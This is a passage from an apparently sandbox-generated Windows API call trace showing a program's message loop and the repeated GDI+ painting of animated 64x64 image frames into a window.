hdc=0x15dbf0) returned 0x0 [0136.702] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x710107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0136.703] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0136.703] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x710107cb) returned 0x0 [0136.703] SelectObject (hdc=0x710107cb, h=0x185000f) returned 0x1a05067e [0136.703] DeleteDC (hdc=0x710107cb) returned 1 [0136.703] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0136.703] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0136.703] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0136.703] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0136.703] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0136.704] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0136.704] WaitMessage () returned 1 [0136.909] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0136.909] IsWindowUnicode (hWnd=0x2031e) returned 1 [0136.910] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0136.910] TranslateMessage (lpMsg=0x15e910) returned 0 [0136.910] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0136.910] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0136.910] GetCurrentThreadId () returned 0xec0 [0136.910] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0136.910] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0136.910] IsWindowUnicode (hWnd=0x2031e) returned 1 [0136.910] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0136.910] TranslateMessage (lpMsg=0x15e910) returned 0 [0136.910] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0136.910] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0136.911] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0136.911] CreateCompatibleDC (hdc=0x3010b83) returned 0x720107cb [0136.911] SelectObject (hdc=0x720107cb, h=0x1a05067e) returned 0x185000f [0136.911] GdipCreateFromHDC (hdc=0x720107cb, graphics=0x15daf0) returned 0x0 [0136.911] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0136.911] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0136.911] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0136.911] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0136.911] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0136.912] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0136.912] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0136.912] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0136.912] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0136.912] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0136.912] GdipCreateRegion (region=0x15dc20) returned 0x0 [0136.913] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0136.913] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0136.913] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0136.913] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0136.913] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0136.913] GetSystemMetrics (nIndex=42) returned 0 [0136.913] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0136.913] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0136.913] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0136.913] CoTaskMemFree (pv=0x1e7ac120) [0136.913] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0136.913] GdipCreateRegion (region=0x15d710) returned 0x0 [0136.913] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0136.914] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0136.914] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0136.914] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0136.914] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0136.914] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0136.914] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0136.915] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0136.915] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0136.915] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0136.915] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0136.915] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0136.915] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0136.916] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0136.916] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0136.916] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0136.916] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0136.916] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0136.916] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0136.916] GetCurrentObject (hdc=0x720107cb, type=0x1) returned 0x1b00017 [0136.916] GetCurrentObject (hdc=0x720107cb, type=0x2) returned 0x1900010 [0136.916] GetCurrentObject (hdc=0x720107cb, type=0x7) returned 0x1a05067e [0136.917] GetCurrentObject (hdc=0x720107cb, type=0x6) returned 0x18a002e [0136.917] SaveDC (hdc=0x720107cb) returned 1 [0136.917] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x79040b8a [0136.917] GetClipRgn (hdc=0x720107cb, hrgn=0x79040b8a) returned 0 [0136.917] SelectClipRgn (hdc=0x720107cb, hrgn=0xffffffffa90407c3) returned 2 [0136.917] DeleteObject (ho=0x79040b8a) returned 1 [0136.917] DeleteObject (ho=0xffffffffa90407c3) returned 1 [0136.917] OffsetViewportOrgEx (in: hdc=0x720107cb, x=0, y=0, lppt=0x28034f0 | out: lppt=0x28034f0) returned 1 [0136.917] GetNearestColor (hdc=0x720107cb, color=0xffffff) returned 0xffffff [0136.918] CreateSolidBrush (color=0xffffff) returned 0xffffffff81100190 [0136.918] FillRect (hDC=0x720107cb, lprc=0x15d7c0, hbr=0xffffffff81100190) returned 1 [0136.918] DeleteObject (ho=0xffffffff81100190) returned 1 [0136.918] RestoreDC (hdc=0x720107cb, nSavedDC=-1) returned 1 [0136.918] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0136.918] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x720107cb) returned 0x0 [0136.919] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffce40dbd) returned 0x0 [0136.919] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0136.919] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0136.919] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0136.919] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0136.919] GetSystemMetrics (nIndex=42) returned 0 [0136.919] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0136.919] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0136.919] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0136.920] CoTaskMemFree (pv=0x1e7ac120) [0136.920] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0xe) returned 0x0 [0136.923] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0136.923] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0136.923] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0136.923] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0136.923] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x720107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0136.924] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0136.924] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x720107cb) returned 0x0 [0136.924] SelectObject (hdc=0x720107cb, h=0x185000f) returned 0x1a05067e [0136.924] DeleteDC (hdc=0x720107cb) returned 1 [0136.924] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0136.924] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0136.924] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0136.925] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0136.926] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0136.926] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0136.926] WaitMessage () returned 1 [0137.115] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0137.116] IsWindowUnicode (hWnd=0x2031e) returned 1 [0137.116] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0137.116] TranslateMessage (lpMsg=0x15e910) returned 0 [0137.116] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0137.116] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0137.116] GetCurrentThreadId () returned 0xec0 [0137.116] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0137.117] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0137.117] IsWindowUnicode (hWnd=0x2031e) returned 1 [0137.117] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0137.117] TranslateMessage (lpMsg=0x15e910) returned 0 [0137.117] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0137.117] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0137.117] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0137.117] CreateCompatibleDC (hdc=0x3010b83) returned 0x730107cb [0137.117] SelectObject (hdc=0x730107cb, h=0x1a05067e) returned 0x185000f [0137.117] GdipCreateFromHDC (hdc=0x730107cb, graphics=0x15daf0) returned 0x0 [0137.118] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0137.118] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0137.118] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0137.118] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0137.118] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0137.118] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0137.118] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0137.119] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0137.119] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0137.119] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0137.119] GdipCreateRegion (region=0x15dc20) returned 0x0 [0137.119] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0137.119] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0137.119] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0137.120] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0137.120] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0137.120] GetSystemMetrics (nIndex=42) returned 0 [0137.120] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0137.120] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0137.120] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0137.120] CoTaskMemFree (pv=0x1e7ac120) [0137.120] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0137.120] GdipCreateRegion (region=0x15d710) returned 0x0 [0137.120] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0137.121] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0137.121] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0137.121] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0137.121] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0137.121] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0137.122] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0137.122] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0137.122] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0137.122] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0137.122] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0137.123] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0137.123] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0137.123] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0137.123] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0137.123] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0137.123] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0137.123] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0137.124] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0137.124] GetCurrentObject (hdc=0x730107cb, type=0x1) returned 0x1b00017 [0137.124] GetCurrentObject (hdc=0x730107cb, type=0x2) returned 0x1900010 [0137.124] GetCurrentObject (hdc=0x730107cb, type=0x7) returned 0x1a05067e [0137.124] GetCurrentObject (hdc=0x730107cb, type=0x6) returned 0x18a002e [0137.124] SaveDC (hdc=0x730107cb) returned 1 [0137.125] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffaa0407c3 [0137.125] GetClipRgn (hdc=0x730107cb, hrgn=0xffffffffaa0407c3) returned 0 [0137.125] SelectClipRgn (hdc=0x730107cb, hrgn=0x7a040b8a) returned 2 [0137.125] DeleteObject (ho=0xffffffffaa0407c3) returned 1 [0137.125] DeleteObject (ho=0x7a040b8a) returned 1 [0137.125] OffsetViewportOrgEx (in: hdc=0x730107cb, x=0, y=0, lppt=0x28047a8 | out: lppt=0x28047a8) returned 1 [0137.125] GetNearestColor (hdc=0x730107cb, color=0xffffff) returned 0xffffff [0137.125] CreateSolidBrush (color=0xffffff) returned 0xffffffff82100190 [0137.125] FillRect (hDC=0x730107cb, lprc=0x15d7c0, hbr=0xffffffff82100190) returned 1 [0137.126] DeleteObject (ho=0xffffffff82100190) returned 1 [0137.126] RestoreDC (hdc=0x730107cb, nSavedDC=-1) returned 1 [0137.126] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0137.126] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x730107cb) returned 0x0 [0137.126] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffce20dbd) returned 0x0 [0137.126] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0137.126] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0137.126] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0137.126] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0137.126] GetSystemMetrics (nIndex=42) returned 0 [0137.126] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0137.126] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0137.126] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0137.127] CoTaskMemFree (pv=0x1e7ac120) [0137.127] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0137.127] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0137.127] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0137.127] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0137.127] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x730107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0137.129] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0137.129] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x730107cb) returned 0x0 [0137.129] SelectObject (hdc=0x730107cb, h=0x185000f) returned 0x1a05067e [0137.129] DeleteDC (hdc=0x730107cb) returned 1 [0137.129] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0137.129] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0137.129] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0137.129] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0137.130] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0137.130] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0137.130] WaitMessage () returned 1 [0137.285] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0137.285] IsWindowUnicode (hWnd=0x2031e) returned 1 [0137.285] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0137.285] TranslateMessage (lpMsg=0x15e910) returned 0 [0137.286] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0137.286] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0137.286] GetCurrentThreadId () returned 0xec0 [0137.286] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0137.286] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0137.286] IsWindowUnicode (hWnd=0x2031e) returned 1 [0137.286] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0137.286] TranslateMessage (lpMsg=0x15e910) returned 0 [0137.287] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0137.287] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0137.287] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0137.287] CreateCompatibleDC (hdc=0x3010b83) returned 0x740107cb [0137.287] SelectObject (hdc=0x740107cb, h=0x1a05067e) returned 0x185000f [0137.287] GdipCreateFromHDC (hdc=0x740107cb, graphics=0x15daf0) returned 0x0 [0137.288] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0137.288] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0137.288] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0137.288] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0137.288] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0137.288] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0137.288] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0137.289] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0137.289] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0137.289] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0137.289] GdipCreateRegion (region=0x15dc20) returned 0x0 [0137.289] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0137.290] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0137.290] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0137.290] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0137.290] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0137.290] GetSystemMetrics (nIndex=42) returned 0 [0137.290] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0137.290] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0137.290] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0137.290] CoTaskMemFree (pv=0x1e7ac120) [0137.290] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0137.291] GdipCreateRegion (region=0x15d710) returned 0x0 [0137.291] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0137.291] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0137.291] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0137.291] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0137.291] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0137.291] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0137.292] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0137.292] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0137.292] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0137.292] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0137.293] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0137.293] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0137.293] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0137.293] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0137.293] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0137.293] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0137.293] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0137.293] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0137.293] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0137.294] GetCurrentObject (hdc=0x740107cb, type=0x1) returned 0x1b00017 [0137.294] GetCurrentObject (hdc=0x740107cb, type=0x2) returned 0x1900010 [0137.294] GetCurrentObject (hdc=0x740107cb, type=0x7) returned 0x1a05067e [0137.294] GetCurrentObject (hdc=0x740107cb, type=0x6) returned 0x18a002e [0137.294] SaveDC (hdc=0x740107cb) returned 1 [0137.294] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x7b040b8a [0137.294] GetClipRgn (hdc=0x740107cb, hrgn=0x7b040b8a) returned 0 [0137.294] SelectClipRgn (hdc=0x740107cb, hrgn=0xffffffffab0407c3) returned 2 [0137.295] DeleteObject (ho=0x7b040b8a) returned 1 [0137.295] DeleteObject (ho=0xffffffffab0407c3) returned 1 [0137.295] OffsetViewportOrgEx (in: hdc=0x740107cb, x=0, y=0, lppt=0x28050e0 | out: lppt=0x28050e0) returned 1 [0137.295] GetNearestColor (hdc=0x740107cb, color=0xffffff) returned 0xffffff [0137.295] CreateSolidBrush (color=0xffffff) returned 0xffffffff83100190 [0137.295] FillRect (hDC=0x740107cb, lprc=0x15d7c0, hbr=0xffffffff83100190) returned 1 [0137.295] DeleteObject (ho=0xffffffff83100190) returned 1 [0137.295] RestoreDC (hdc=0x740107cb, nSavedDC=-1) returned 1 [0137.296] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0137.296] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x740107cb) returned 0x0 [0137.296] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffce00dbd) returned 0x0 [0137.296] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0137.296] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0137.296] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0137.296] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0137.296] GetSystemMetrics (nIndex=42) returned 0 [0137.297] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0137.297] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0137.297] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0137.297] CoTaskMemFree (pv=0x1e7ac120) [0137.297] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, 